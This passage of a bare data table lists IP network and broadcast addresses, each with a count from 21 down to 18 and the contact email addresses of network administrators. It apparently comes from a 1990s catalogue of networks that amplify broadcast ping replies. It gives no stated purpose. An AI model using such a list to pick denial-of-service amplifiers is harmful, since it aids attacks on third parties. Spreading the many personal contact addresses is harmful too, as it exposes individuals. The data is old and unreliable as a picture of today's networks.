      21        199.108.249.0      dns@cerf.net
      21        199.108.251.0      dns@cerf.net
      21        200.23.168.0       alex@lince.itcelaya.ciateq.mx
      21        200.23.42.0        jescalera@mail.nl.gob.mx
      21        200.41.130.0       mariano.okon@tld.net.ar
      21        200.41.130.255     mariano.okon@tld.net.ar
      21        202.103.134.0
      21        202.103.160.0      dmkou@publicf.bta.net.cn,
      wumian@gdnmc.guangzhou.gd.cn
      21        202.32.54.0        hostmaster@nic.ad.jp
      21        202.96.137.0
      21        203.149.0.0        chalee@samart.co.th, siriporn@samart.co.th
      21        203.149.0.255      chalee@samart.co.th, siriporn@samart.co.th
      21        203.149.33.0       chalee@samart.co.th, siriporn@samart.co.th
      21        203.149.33.255     chalee@samart.co.th, siriporn@samart.co.th
      21        203.176.24.0       reyc@pworld.net.ph, map@iphil.net
      21        203.176.56.0       fdcj@iphil.net, map@iphil.net
      21        203.176.6.0        reyc@pworld.net.ph, map@iphil.net
      21        203.242.136.0      mgr@ktnet.co.kr, ip@ktnet.co.kr
      21        203.242.136.255    mgr@ktnet.co.kr, ip@ktnet.co.kr
      21        203.242.255.0      mgr@ktnet.co.kr, ip@ktnet.co.kr
      21        203.242.255.255    mgr@ktnet.co.kr, ip@ktnet.co.kr
      21        203.75.104.255     admin@hinet.net, chlin@netnews.hinet.net
      21        204.131.140.0      emontero@gmgw.com
      21        204.131.142.255    emontero@gmgw.com
      21        204.133.157.255    kenf@evt.com
      21        204.228.247.0      bgore@mti.micron.com
      21        204.248.234.0      bhufendick@forsythe.com
      21        204.248.234.255    bhufendick@forsythe.com
      21        204.254.10.0       help@uunet.uu.net
      21        204.254.8.0        help@uunet.uu.net
      21        204.254.8.255      help@uunet.uu.net
      21        204.48.149.0       tuma@ceo.sbceo.k12.ca.us
      21        204.48.149.255     tuma@ceo.sbceo.k12.ca.us
      21        205.213.18.0       Marlys.A.Nelson@uwrf.edu
      21        205.246.52.255     carter@dgsys.com
      21        205.253.114.0      karl@mcs.com
      21        206.140.82.0       lak@aads.net
      21        206.140.82.255     lak@aads.net
      21        206.155.128.0      nomailbox@nowhere
      21        206.155.128.255    nomailbox@nowhere
      21        206.155.129.0      nomailbox@nowhere
      21        206.155.129.255    nomailbox@nowhere
      21        206.166.202.0      simonton@chlaw.com
      21        206.166.202.255    simonton@chlaw.com
      21        210.237.174.0      hostmaster@nic.ad.jp
      21        210.237.174.255    hostmaster@nic.ad.jp
      21        208.12.176.0       nomailbox@nowhere
      21        208.12.176.255     nomailbox@nowhere
      21        208.204.158.0      brett@winkcomm.com
      21        210.156.197.0      hostmaster@nic.ad.jp
      21        210.156.207.0      hostmaster@nic.ad.jp
      21        208.204.158.255    brett@winkcomm.com
      21        210.156.197.255    hostmaster@nic.ad.jp
      21        207.213.16.0       nomailbox@nowhere
      21        207.213.16.255     nomailbox@nowhere
      21        210.225.196.255    hostmaster@nic.ad.jp
      21        208.205.235.255    amurarka@splyglass.com
      21        208.205.235.0      amurarka@splyglass.com
      21        209.100.42.255     dmarlow@ccm.net
      21        209.3.104.255      support@iconnet.net
      21        209.21.153.255     hostmaster@harvard.net
      21        210.156.207.255    hostmaster@nic.ad.jp
      21        208.3.238.255      parker@nandover.mec.edu
      21        209.77.127.0       rick@foothill.net
      21        207.43.198.0       larry@amicus.com
      21        210.67.64.255      JamesKLin@acer.net, JacksonWeng@acer.net
      21        207.43.199.255     larry@amicus.com
      21        207.196.146.0      marsh@selway.umt.edu
      21        207.176.171.0      rpatch@skylinc.net
      21        207.196.146.255    marsh@selway.umt.edu
      21        207.183.157.255    noc@unicom.net
      21        207.176.171.255    rpatch@skylinc.net
      21        207.107.84.255     noc@sprint-canada.net
      21        207.71.209.255     domreg@silcom.com
      21        208.14.42.0        jerry@digital.net
      21        206.74.69.0        mckee@admin.infoave.net
      21        210.118.74.0       mgr@samsung.co.kr, ip@samsung.co.kr
      21        206.74.198.0       mckee@admin.infoave.net
      21        209.213.205.0      mickey@nanospace.com
      21        208.211.250.0      aharris@greysf.com
      21        206.74.69.255      mckee@admin.infoave.net
      21        210.118.74.255     mgr@samsung.co.kr, ip@samsung.co.kr
      21        208.152.111.255    jbrown@busprod.com
      21        206.74.198.255     mckee@admin.infoave.net
      21        207.86.229.255     dns@digex.net
      21        207.111.2.0        jwilder@eric.mower.com
      21        208.152.111.0      jbrown@busprod.com
      21        209.233.239.0      ip-admin@pbi.net
      21        208.216.228.255    dcl@xns.net
      21        208.224.77.255     timmy@bcn.net
      21        209.134.22.0       noc@worldsite.net
      21        206.26.77.0        valdez@206.26.76.10
      21        209.134.22.255     noc@worldsite.net
      21        208.163.48.0       brian@mediacity.com
      21        210.165.18.0       hostmaster@nic.ad.jp
      21        207.62.155.0       netadmin@moe.calpoly.edu
      21        208.150.208.0      aselden@wgm.org
      21        206.3.34.255       hostinfo@psi.com
      21        208.150.208.255    aselden@wgm.org
      21        216.190.16.0       scottm@mpire.net
      21        216.46.78.0        admin@terabit.net
      21        216.190.16.255     scottm@mpire.net
      21        207.125.25.255     ip-mgr@mail.state.tn.us
      21        216.46.78.255      admin@terabit.net
      21        207.243.35.255     nomailbox@nowhere
      21        210.235.130.255    hostmaster@nic.ad.jp
      21        209.108.94.0
      21        209.145.20.0       peterb@imagine.com
      21        212.47.201.0       neeme@data.ee, cougar@data.ee
      21        216.168.240.0      cwei@netsol.com
      21        209.145.20.255     peterb@imagine.com
      20        62.132.254.0       reckert@vobis.de, stolz@vobis.de
      20        62.132.254.255     reckert@vobis.de, stolz@vobis.de
      20        192.204.84.0
      20        192.204.84.255
      20        193.15.43.255
      20        193.164.172.0      tony@anglianet.co.uk
      20        193.47.32.0
      20        193.47.60.0
      20        193.52.147.0       Gerard.Lietout@univ-rouen.fr
      20        194.109.94.0       netmaster@xs4all.nl, sasja@lostboys.nl
      20        194.168.255.0      nmc@ntli.net, amon@vnl.com
      20        194.168.255.255    nmc@ntli.net, amon@vnl.com
      20        194.229.95.255
      20        194.250.16.0       bourgeois@fermic.fr, niel@fermic.fr
      20        194.255.12.0       paaske@internet.dk
      20        194.255.12.255     paaske@internet.dk
      20        194.65.129.0       sialrm@mail.telepac.pt
      20        195.146.32.0       dci@dci.iran.com, mohebali@www.dci.co.ir
      20        195.224.212.0      nic@gxn.net, hatter@magic-moments.com
      20        195.224.212.255    nic@gxn.net, hatter@magic-moments.com
      20        195.25.165.255     hostmaster@oleane.net, amorise@allnet.fr
      20        195.7.221.0        bulderm@psi.com
      20        195.7.221.255      bulderm@psi.com
      20        195.89.160.0       matthew@flexnet.net
      20        195.89.163.0       matthew@flexnet.net
      20        195.89.163.255     matthew@flexnet.net
      20        198.145.48.0       dns@e-z.net
      20        198.189.54.0       nes@4c.net
      20        199.172.116.0      jeffs@sykes.com
      20        199.172.116.255    jeffs@sykes.com
      20        199.172.117.0      jeffs@sykes.com
      20        199.172.117.255    jeffs@sykes.com
      20        199.237.181.0      domainmaster@nw.verio.net
      20        199.237.181.255    domainmaster@nw.verio.net
      20        199.254.12.0       grw@sequana.com
      20        199.80.64.255      mjd@te6000.otc.lsu.edu
      20        200.10.112.0       carlospe@ssdnet.com.ar
      20        200.10.112.255     carlospe@ssdnet.com.ar
      20        200.23.168.255     alex@lince.itcelaya.ciateq.mx
      20        200.34.53.0        manza@sureste.com
      20        200.38.83.0        a_gd@hotmail.com
      20        200.38.83.255      a_gd@hotmail.com
      20        200.47.26.0        linoc@comsat.com.ar
      20        200.47.26.255      linoc@comsat.com.ar
      20        202.218.13.255     technical@apnic.net
      20        202.225.130.0
      20        202.32.54.255      hostmaster@nic.ad.jp
      20        202.77.143.0       belcina@attmail.com
      20        202.77.143.255     belcina@attmail.com
      20        202.77.144.0       belcina@attmail.com
      20        202.99.5.0
      20        203.127.92.255     cheong@singnet.com.sg, hostmaster@singnet.com.sg
      20        203.146.20.0       kitti@gssthai.com, tc@loxinfo.co.th
      20        204.133.45.0       sbrown@co.weld.co.us
      20        204.133.45.255     sbrown@co.weld.co.us
      20        204.196.30.0       shreid@alpha.nsula.edu
      20        204.243.104.255    hostinfo@psi.com
      20        204.7.252.0        hostinfo@psi.com
      20        204.7.252.255      hostinfo@psi.com
      20        205.146.44.255
      20        205.178.35.255     dave@brainstorm.net
      20        205.205.76.255     leveque@mediafusion.ca
      20        205.217.139.0      steve-breese@icva.gov
      20        205.217.139.255    steve-breese@icva.gov
      20        205.230.89.0       help@uunet.uu.net
      20        205.230.89.255     help@uunet.uu.net
      20        205.231.229.0      Daniel.Malcor@internetaddress.com
      20        205.231.229.255    Daniel.Malcor@internetaddress.com
      20        205.253.201.0      karl@mcs.com
      20        206.154.117.0      gcoodley@siebel.com
      20        206.154.117.255    gcoodley@siebel.com
      20        208.153.241.255    lnguyen@gstworld.net
      20        206.23.186.0       jwinters@tec.net
      20        206.253.240.255    cql@cdimed.com
      20        210.67.64.0        JamesKLin@acer.net, JacksonWeng@acer.net
      20        208.211.250.255    aharris@greysf.com
      20        207.212.34.0       ip-admin@pbi.net
      20        207.245.43.0       NOCToronto@metronet.ca
      20        210.135.90.0       hostmaster@nic.ad.jp
      20        209.140.145.0      darin@good.net
      20        212.33.192.0       tariq_a@joinnet.com.jo, NetAdmin@joinnet.com.jo
      20        207.71.245.0       domreg@silcom.com
      20        207.212.34.255     ip-admin@pbi.net
      20        210.135.90.255     hostmaster@nic.ad.jp
      20        207.237.144.255    domreg@interport.net
      20        209.140.145.255    darin@good.net
      20        212.33.192.255     tariq_a@joinnet.com.jo, NetAdmin@joinnet.com.jo
      20        207.55.211.255     techsup@nkn.net
      20        216.12.32.0        dns@cfw.com
      20        216.50.66.0        technical@kivex.com
      20        207.62.158.0       netadmin@moe.calpoly.edu
      20        208.242.160.0      melkor@ulster.net
      20        208.21.40.255      nomailbox@nowhere
      20        216.50.66.255      technical@kivex.com
      20        208.242.160.255    melkor@ulster.net
      20        206.23.186.255     jwinters@tec.net
      20        206.63.192.255     edm@nwnexus.wa.com
      20        207.202.45.0       noc@corp.idt.net
      20        208.200.173.0      jd@dynasty.net
      20        207.202.45.255     noc@corp.idt.net
      20        208.200.173.255    jd@dynasty.net
      20        207.122.21.0       ops@bbnplanet.com
      20        209.173.69.0       bni@bnisolutions.com
      20        210.72.253.0       flink@flink.cn.net, flink@flink.cn.net
      20        207.122.17.255     ops@bbnplanet.com
      20        207.122.21.255     ops@bbnplanet.com
      20        216.84.9.0         netadmin@southernet.net
      20        207.122.17.0       ops@bbnplanet.com
      20        207.113.158.0      hostmaster@crl.com
      20        207.220.64.255     ejm@amadaamerica.com
      20        207.113.158.255    hostmaster@crl.com
      20        207.142.199.255    Torrisi@pcsltd.com
      20        208.167.58.0       jmalerbi@turningpoint.com
      20        208.167.58.255
      20        209.91.205.255     cmarazzi@caribe.net
      20        209.133.189.0      colgate@oir.state.sc.us
      20        209.133.189.255    colgate@oir.state.sc.us
      20        212.68.64.0        steffens@wespe.de, schmidt@digadd.de,
                                  andreas@wespe.de
      20        206.52.82.0        bdot@toto.net
      20        212.68.64.255      steffens@wespe.de, schmidt@digadd.de,
                                  andreas@wespe.de
      20        207.177.122.255
      20        208.164.139.255    webmaster@inu.net
      20        208.164.139.0      webmaster@inu.net
      20        209.56.155.0       dave.klinkefus@icn.state.ia.us
      20        210.61.164.0       mchuang@ever.com.tw
      20        206.23.185.0       jwinters@tec.net
      20        210.61.164.255     mchuang@ever.com.tw
      20        210.61.166.255     admin@hinet.net, chlin@netnews.hinet.net
      20        206.23.185.255     jwinters@tec.net
      20        209.38.3.0         dnsadmin@rmi.net
      20        206.30.10.0        dgrosskopf@startek.com
      20        209.38.3.255       dnsadmin@rmi.net
      20        206.30.10.255      dgrosskopf@startek.com
      20        208.158.116.0      nomailbox@nowhere
      20        210.235.130.0      hostmaster@nic.ad.jp
      20        207.230.223.0      network@centurytel.com
      20        209.75.197.255     noc@atmnet.net
      20        216.206.135.0      rsmith@hop-electric.com
      20        216.60.246.0       hostmaster@swbell.net
      20        216.206.135.255    rsmith@hop-electric.com
      20        207.77.119.0
      20        207.77.119.255     postmaster@ellstreet.com
      20        206.52.82.255      bdot@toto.net
      20        207.165.76.0       dave.klinkefus@icn.state.ia.us
      20        207.165.76.255     dave.klinkefus@icn.state.ia.us
      19        63.67.55.0         nomailbox@nowhere
      19        155.50.25.0        bgallant@keps.com
      19        155.50.25.255      bgallant@keps.com
      19        161.223.113.0
      19        161.223.113.255
      19        161.223.126.255
      19        161.223.34.0
      19        161.223.34.255
      19        193.119.172.0
      19        193.140.128.0      serkan@mail.ogu.edu.tr, tevfik@mail.ogu.edu.tr
      19        193.140.128.255    serkan@mail.ogu.edu.tr, tevfik@mail.ogu.edu.tr
      19        193.140.130.255    serkan@mail.ogu.edu.tr, tevfik@mail.ogu.edu.tr
      19        193.140.141.0
      19        193.140.141.255
      19        194.199.122.0      maxcasty@tin.it
      19        194.199.122.255    maxcasty@tin.it
      19        194.217.222.255    postmaster@heathmill.com
      19        194.217.65.255     postmaster@lifecomputers.com
      19        194.250.16.255     bourgeois@fermic.fr, niel@fermic.fr
      19        195.141.97.0       peter.gilli@ubs.com
      19        195.220.182.0      Patrice.Koch@univ-fcomte.fr, Gilles.Joly@univ-
      fcomte.fr
      19        195.249.89.255
      19        195.97.167.255     hein@euroconnect.net
      19        198.107.47.255     jackp@ogitel.net
      19        198.182.200.0      nizar@elem.com
      19        198.64.37.0        hostmaster@sesqui.net
      19        198.64.37.255      hostmaster@sesqui.net
      19        199.100.114.255    hostinfo@psi.com
      19        199.104.86.255     Bryon.Boam@mhz.com
      19        199.106.0.0        dns@cerf.net
      19        199.111.79.0       jaj@virginia.edu
      19        199.111.79.255     jaj@virginia.edu
      19        199.111.88.0       jaj@virginia.edu
      19        199.111.88.255     jaj@virginia.edu
      19        199.249.128.0      rcc@ancor.com
      19        199.75.86.0        pammer@ususp.mo.md.us
      19        199.75.86.255      pammer@ususp.mo.md.us
      19        200.34.53.255      manza@sureste.com
      19        202.160.8.0        rao@technet.sg
      19        202.160.8.255      rao@technet.sg
      19        202.179.228.0
      19        202.179.232.0
      19        202.216.64.0       technical@apnic.net
      19        202.216.64.255     technical@apnic.net
      19        202.234.38.0       hostmaster@nic.ad.jp
      19        202.234.38.255     hostmaster@nic.ad.jp
      19        202.36.235.0       nzhollley@applelink.apple.com
      19        202.36.235.255     nzhollley@applelink.apple.com
      19        202.94.7.0         michael@netchina.co.cn
      19        203.146.20.255     kitti@gssthai.com, tc@loxinfo.co.th
      19        203.16.25.0        hostmaster@telstra.net
      19        203.179.96.0       hostmaster@nic.ad.jp
      19        203.179.96.255     hostmaster@nic.ad.jp
      19        203.182.136.0      hostmaster@nic.ad.jp
      19        203.182.136.255    hostmaster@nic.ad.jp
      19        203.182.32.0       hostmaster@nic.ad.jp
      19        203.182.32.255     hostmaster@nic.ad.jp
      19        203.183.120.0      hostmaster@nic.ad.jp
      19        203.2.133.0        acer-au@NIC.AU.NET
      19        203.2.133.255      acer-au@NIC.AU.NET
      19        203.20.92.0        hostmaster@telstra.net
      19        204.131.108.0      emontero@gmgw.com
      19        204.131.108.255    emontero@gmgw.com
      19        204.133.157.0      kenf@evt.com
      19        204.189.114.255    buddyj@hic.net
      19        204.193.150.0      noc@cyberconnection.com
      19        204.193.150.255    noc@cyberconnection.com
      19        204.201.1.0        its@nw.verio.net
      19        204.201.1.255      its@nw.verio.net
      19        204.210.65.0       rwintel@twmaine.com
      19        204.210.65.255     rwintel@twmaine.com
      19        204.243.104.0      hostinfo@psi.com
      19        204.29.120.0       DNS@asc.edu
      19        204.29.120.255     DNS@asc.edu
      19        204.29.82.0        DNS@asc.edu
      19        204.29.82.255      DNS@asc.edu
      19        204.60.10.0        cmiller@snet.net
      19        204.60.10.255      cmiller@snet.net
      19        204.60.11.0        cmiller@snet.net
      19        204.60.11.255      cmiller@snet.net
      19        204.60.8.0         cmiller@snet.net
      19        204.60.8.255       cmiller@snet.net
      19        204.60.9.0         cmiller@snet.net
      19        204.60.9.255       cmiller@snet.net
      19        204.92.78.0        wayne@hodes.com
      19        204.92.78.255      wayne@hodes.com
      19        204.96.174.255
      19        205.124.132.0      mcleary@uen.org
      19        205.124.132.255    mcleary@uen.org
      19        205.126.32.0       mcleary@uen.org
      19        205.126.32.255     mcleary@uen.org
      19        205.139.138.0      cengiz@netmar.com
      19        205.139.138.255    cengiz@netmar.com
      19        205.146.44.0
      19        205.151.60.0       rivard@bdds.com
      19        205.151.60.255     rivard@bdds.com
      19        205.171.33.0       hostmaster@csn.net
      19        205.171.33.255     hostmaster@csn.net
      19        205.174.194.0      dharringt@deq.state.va.us
      19        205.174.194.255    dharringt@deq.state.va.us
      19        205.200.212.0      lesko@mts.net
      19        205.200.212.255    lesko@mts.net
      19        205.205.131.0      dgiroux@cenosis.com
      19        205.229.125.255    twright@cathedral.org
      19        205.229.126.255    twright@cathedral.org
      19        206.102.165.255    nomailbox@nowhere
      19        206.104.254.0      tony@sonet.net
      19        206.104.254.255    tony@sonet.net
      19        207.12.145.255     sbeverly@wavegate.com
      19        206.6.19.0         hostinfo@psi.com
      19        208.153.241.0      lnguyen@gstworld.net
      19        206.23.195.255     jwinters@tec.net
      19        209.212.228.0      andym@ntt.net
      19        206.253.240.0      cql@cdimed.com
      19        209.122.182.0      domreg@erols.com
      19        209.172.65.255     hostmaster@innetix.com
      19        207.113.154.255    hostmaster@crl.com
      19        208.163.133.0      tony.kliphuis@quebecorusa.com
      19        207.237.174.0      domreg@interport.net
      19        206.216.219.0      kdelande@neton-line.com
      19        208.161.62.255     jdm@networkcs.com
      19        208.163.133.255    tony.kliphuis@quebecorusa.com
      19        207.237.174.255    domreg@interport.net
      19        206.216.219.255    kdelande@neton-line.com
      19        207.205.77.0       dhovland@mpegla.com
      19        209.5.112.0        noc@sprint-canada.net
      19        209.5.116.0        noc@sprint-canada.net
      19        209.5.117.0        noc@sprint-canada.net
      19        209.5.118.0        noc@sprint-canada.net
      19        209.183.196.0      noc@atlantech.net
      19        209.16.223.0       james@fastrans.net
      19        210.160.254.0      hostmaster@nic.ad.jp
      19        216.93.12.255      ipadmin@voyager.net
      19        207.1.76.255       nomailbox@nowhere
      19        209.5.112.255      noc@sprint-canada.net
      19        209.5.116.255      noc@sprint-canada.net
      19        209.5.117.255      noc@sprint-canada.net
      19        209.5.118.255      noc@sprint-canada.net
      19        210.160.254.255    hostmaster@nic.ad.jp
      19        207.64.19.0        o_cresson@twu.edu
      19        207.168.219.0      dnstech@eni.net
      19        216.12.32.255      dns@cfw.com
      19        207.168.219.255    dnstech@eni.net
      19        207.242.168.0      info@osuny.com
      19        206.26.226.0       jjs@midcoast.com
      19        209.84.232.0       ipadmin@gte.net
      19        216.24.4.255       tague@win.net
      19        207.64.19.255      o_cresson@twu.edu
      19        207.242.168.255    info@osuny.com
      19        206.26.226.255     jjs@midcoast.com
      19        209.84.232.255     ipadmin@gte.net
      19        210.171.0.0        hostmaster@nic.ad.jp
      19        207.230.88.0       tony@sonet.net
      19        210.163.149.0      hostmaster@nic.ad.jp
      19        210.171.0.255      hostmaster@nic.ad.jp
      19        207.230.88.255     tony@sonet.net
      19        207.126.109.255    noc@above.net
      19        208.149.222.255    domreg@cicom.net
      19        207.139.14.0       wojciech@gbmicro.com
      19        208.150.5.255      hostmaster@netmcr.com
      19        208.242.140.255    lykenss1@equimed.com
      19        206.64.176.255     noc@itg.net
      19        208.155.228.255    ipswip@cw.net
      19        208.229.142.0      gbooth@internetwerx.com
      19        207.142.199.0      Torrisi@pcsltd.com
      19        208.168.235.0      tblackm@remc8.k12.mi.us
      19        207.133.114.255    HOSTMASTER@nic.mil
      19        208.168.235.255    tblackm@remc8.k12.mi.us
      19        206.204.38.0       noc@conxion.net
      19        207.234.23.255     hostmaster@telalink.net
      19        208.199.187.255    meta4@interramp.com
      19        207.234.23.0       hostmaster@telalink.net
      19        208.15.164.255     tony@atapco-custom.com
      19        216.30.18.0        kenneth@jump.net
      19        208.224.77.0       timmy@bcn.net
      19        216.30.18.255      kenneth@jump.net
      19        210.61.166.0       admin@hinet.net, chlin@netnews.hinet.net
      19        209.22.10.0        HOSTMASTER@nic.mil
      19        208.165.12.0       rick@augustmartin.net
      19        208.165.14.0       rick@augustmartin.net
      19        208.165.15.0       rick@augustmartin.net
      19        209.22.10.255      HOSTMASTER@nic.mil
      19        208.165.12.255     rick@augustmartin.net
      19        208.165.14.255     rick@augustmartin.net
      19        208.165.15.255     rick@augustmartin.net
      19        210.249.139.0      maruyama@nic.ad.jp, yasuhiro@nic.ad.jp,
                                  kojima@nic.ad.jp, kentaro@nic.ad.jp
      19        210.249.139.255    maruyama@nic.ad.jp, yasuhiro@nic.ad.jp,
                                  kojima@nic.ad.jp, kentaro@nic.ad.jp
      19        209.161.37.0       dave@cyberhighway.net
      19        209.161.37.255     dave@cyberhighway.net
      19        209.227.8.0        eric@mxol.com
      19        206.247.91.0       rkd@rmi.net
      19        209.227.8.255      eric@mxol.com
      19        208.17.89.255      gpiran@metrocon.com
      19        206.247.91.255     rkd@rmi.net
      19        209.242.205.255    jim@alphachannel.com
      19        209.177.50.0       siavash@medaille.edu
      19        207.28.110.0       dave.klinkefus@icn.state.ia.us
      19        209.106.32.255     ben@more.net
      19        209.177.50.255     siavash@medaille.edu
      19        207.28.110.255     dave.klinkefus@icn.state.ia.us
      19        207.139.157.255    pbreton@mediagrif.com
      19        209.106.33.0       ben@more.net
      19        209.172.101.255    hostmaster@innetix.com
      19        216.102.249.255    ip-admin@pbi.net
      18        62.8.10.0          lemann@gulliver.fr
      18        62.8.10.255        lemann@gulliver.fr
      18        62.8.11.255        lemann@gulliver.fr
      18        152.9.52.0         westg@mars.nccu.edu
      18        152.9.52.255       westg@mars.nccu.edu
      18        167.199.232.0      jda51@state.ga.us
      18        167.199.232.255    jda51@state.ga.us
      18        192.174.42.0
      18        192.174.42.255
      18        192.246.227.0      hostinfo@psi.com
      18        192.246.227.255    hostinfo@psi.com
      18        192.93.178.0       Annie.Renard@inria.fr
      18        192.93.79.0        Annie.Renard@inria.fr
      18        192.93.79.255      Annie.Renard@inria.fr
      18        193.13.178.0
      18        193.13.178.255
      18        193.180.104.0      bengt.skoog@helsingborg.se
      18        193.180.104.255    bengt.skoog@helsingborg.se
      18        193.204.215.255    staff-lir@garr.net, Enzo.Valente@infn.it,
                                  lupi@sdc.asi.it
      18        193.52.75.0        dupre@genome.vjf.inserm.fr
      18        193.52.75.255      dupre@genome.vjf.inserm.fr
      18        194.112.195.0      joerg.jakober@plus.at, Philip.Hammersley@plus.at
      18        194.112.195.255    joerg.jakober@plus.at, Philip.Hammersley@plus.at
      18        194.183.102.0      jpd@caop.nl
      18        194.183.102.255    jpd@caop.nl
      18        194.183.204.255    ndenise@siris.fr, ruch@siris.fr
      18        194.183.218.0      lemann@gulliver.fr
      18        194.183.218.255    lemann@gulliver.fr
      18        194.217.183.255    postmaster@network-technology.com
      18        194.217.65.0       postmaster@lifecomputers.com
      18        194.229.95.0
      18        194.254.140.0      Philippe.Auclair@jouy.inra.fr,
                                  Claude.Zurbach@ensam.inra.fr
      18        194.254.140.255    Philippe.Auclair@jouy.inra.fr,
                                  Claude.Zurbach@ensam.inra.fr
      18        194.254.16.255     Philippe.Wender@insa-rouen.fr
      18        194.254.171.0      florence@upn.univ-paris13.fr
      18        194.45.167.0       kschmidt@applix.de, klisse@applix.de
      18        194.45.167.255     kschmidt@applix.de, klisse@applix.de
      18        194.57.0.0         techfem@mobilia.it
      18        194.57.0.255       techfem@mobilia.it
      18        194.57.11.0        techfem@mobilia.it
      18        194.57.11.255      techfem@mobilia.it
      18        194.73.58.0
      18        194.73.58.255
      18        195.122.12.0       Aleks.Maslobojev@apollo.lv
      18        195.122.12.255     Aleks.Maslobojev@apollo.lv
      18        195.249.71.0
      18        195.249.71.255
      18        195.26.32.0        jane.greening@4thwave.co.uk,
                                  mat.withers@4thwave.co.uk
      18        195.26.32.255      jane.greening@4thwave.co.uk,
                                  mat.withers@4thwave.co.uk
      18        195.30.20.0        max@blitz.net, holger@blitz.net
      18        196.15.128.0       johans@igubu.saix.net
      18        196.22.206.0       massel@neptune.co.za
      18        198.114.68.0       wsanders@ccmg.lotus.com
      18        198.114.68.255     wsanders@ccmg.lotus.com
      18        198.214.170.0      D.Nash@utexas.edu
      18        198.214.170.255    D.Nash@utexas.edu
      18        199.119.8.255      http://103536.3617@compuserve.com
      18        199.120.118.0      noc@netins.net
      18        199.120.118.255    noc@netins.net
      18        199.173.20.0       net-admin@intac.com
      18        199.173.20.255     net-admin@intac.com
      18        199.217.85.0       robertc@savvis.com
      18        199.221.104.255    krish@ans.net
      18        199.239.27.0       hostmaster@co.verio.net
      18        199.239.27.255     hostmaster@co.verio.net
      18        200.31.28.0        chris@impsat.net.ar
      18        200.31.30.0        mvera@impsat.net.ec
      18        200.34.71.0        2090823@mcimail.com
      18        200.34.71.255      2090823@mcimail.com
      18        202.104.151.255
      18        202.211.34.255     technical@apnic.net
      18        202.27.240.0       ashtonb@landcare.cri.nz,
                                  mclennanm@landcare.cri.nz
      18        202.27.241.255     ashtonb@landcare.cri.nz,
                                  mclennanm@landcare.cri.nz
      18        202.94.7.255       michael@netchina.co.cn
      18        203.103.97.0
      18        203.103.97.255
      18        203.24.138.0       hostmaster@telstra.net
      18        203.24.138.255     hostmaster@telstra.net
      18        203.27.92.255      hostmaster@telstra.net
      18        203.67.41.0        cjcherng@mozart.seed.net.tw,
                                  sysop@mozart.seed.net.tw
      18        203.73.242.0       cjcherng@mozart.seed.net.tw,
                                  sysop@mozart.seed.net.tw
      18        203.93.87.0
      18        204.142.155.0      jtt@paragonsys.com
      18        204.142.155.255    jtt@paragonsys.com
      18        204.189.114.0      buddyj@hic.net
      18        204.210.66.0       rwintel@twmaine.com
      18        204.210.66.255     rwintel@twmaine.com
      18        204.211.201.0      hostmaster@sips.state.nc.us
      18        204.211.201.255    hostmaster@sips.state.nc.us
      18        204.225.126.0      lowy@convoke.com
      18        204.225.127.255    lowy@convoke.com
      18        204.34.19.0
      18        204.34.19.255
      18        204.48.152.255     tuma@ceo.sbceo.k12.ca.us
      18        204.57.187.255     edm@nwnexus.wa.com
      18        204.95.48.255      karl@mcs.com
      18        205.150.202.0      craig@garland-group.com
      18        205.153.28.255     MWilliams@charter.com
      18        205.218.4.255      nomailbox@nowhere
      18        205.221.105.0      grpjl@iastate.edu
      18        205.221.105.255    grpjl@iastate.edu
      18        205.221.96.0       grpjl@iastate.edu
      18        205.221.96.255     grpjl@iastate.edu
      18        205.229.127.255    twright@cathedral.org
      18        205.241.199.255    Niels@opup.org
      18        205.243.207.0      ryan@inc.net
      18        206.110.233.0      hostmaster@alameda-coe.k12.ca.us
      18        206.110.233.255    hostmaster@alameda-coe.k12.ca.us
      18        206.110.234.0      hostmaster@alameda-coe.k12.ca.us
      18        206.110.234.255    hostmaster@alameda-coe.k12.ca.us
      18        206.136.242.255    help@uunet.uu.net
      18        206.140.86.0       lak@aads.net
      18        206.140.87.0       lak@aads.net
      18        206.149.40.255     reginfo@nkn.net
      18        206.166.209.0      mwilliam@ptc.dcs.edu
      18        206.166.209.255    mwilliam@ptc.dcs.edu
      18        206.166.241.255    mwilliam@ptc.dcs.edu
      18        206.166.242.0      mwilliam@ptc.dcs.edu
      18        206.172.122.0      debbie@worldlinx.com
      18        206.172.122.255    debbie@worldlinx.com
      18        206.172.192.0      debbie@worldlinx.com
      18        206.172.192.255    debbie@worldlinx.com
      18        206.172.197.0      debbie@worldlinx.com
      18        206.172.197.255    debbie@worldlinx.com
      18        206.172.198.0      debbie@worldlinx.com
      18        206.172.198.255    debbie@worldlinx.com
      18        206.172.199.0      debbie@worldlinx.com
      18        206.172.199.255    debbie@worldlinx.com
      18        206.172.224.0      debbie@worldlinx.com
      18        206.172.224.255    debbie@worldlinx.com
      18        206.172.225.0      debbie@worldlinx.com
      18        206.172.225.255    debbie@worldlinx.com
      18        206.172.226.0      debbie@worldlinx.com
      18        206.172.226.255    debbie@worldlinx.com
      18        206.172.235.0      debbie@worldlinx.com
      18        206.172.235.255    debbie@worldlinx.com
      18        206.172.236.0      debbie@worldlinx.com
      18        206.172.236.255    debbie@worldlinx.com
      18        206.23.195.0       jwinters@tec.net
      18        212.208.154.0      root@cppgroup.com, olemarie@fr.uu.net
      18        209.212.228.255    andym@ntt.net
      18        210.63.176.255     maxkuan@ttn.com.tw, dean@ht.net.tw
      18        207.177.117.255    noc@netins.net
      18        210.175.52.0       hostmaster@nic.ad.jp
      18        210.175.52.255     hostmaster@nic.ad.jp
      18        208.33.192.0       si@kca.net
      18        207.173.214.0      abuse@eli.net
      18        208.33.192.255     si@kca.net
      18        207.233.34.255     nes@4c.net
      18        216.93.12.0        ipadmin@voyager.net
      18        208.223.124.0      nomailbox@nowhere
      18        207.22.129.0       arrants@bmd.clis.com
      18        206.228.161.0      NOC@sprint.net
      18        212.250.209.0      nmc@ntli.net, kmarshall@ireng.com
      18        209.198.249.0      noc@interpacket.net
      18        208.223.124.255    nomailbox@nowhere
      18        207.22.129.255     arrants@bmd.clis.com
      18        206.228.161.255    NOC@sprint.net
      18        212.250.209.255    nmc@ntli.net, kmarshall@ireng.com
      18        209.198.249.255    noc@interpacket.net
      18        209.85.25.0        hostmaster@softaware.com
      18        207.107.105.0      noc@sprint-canada.net
      18        209.5.121.0        noc@sprint-canada.net
      18        209.5.122.0        noc@sprint-canada.net
      18        207.107.152.0      noc@sprint-canada.net
      18        207.107.153.0      noc@sprint-canada.net
      18        209.63.198.0       sforester@e-infoinc.com
      18        207.107.206.0      noc@sprint-canada.net
      18        207.107.207.0      noc@sprint-canada.net
      18        207.107.221.0      noc@sprint-canada.net
      18        207.107.234.0      noc@sprint-canada.net
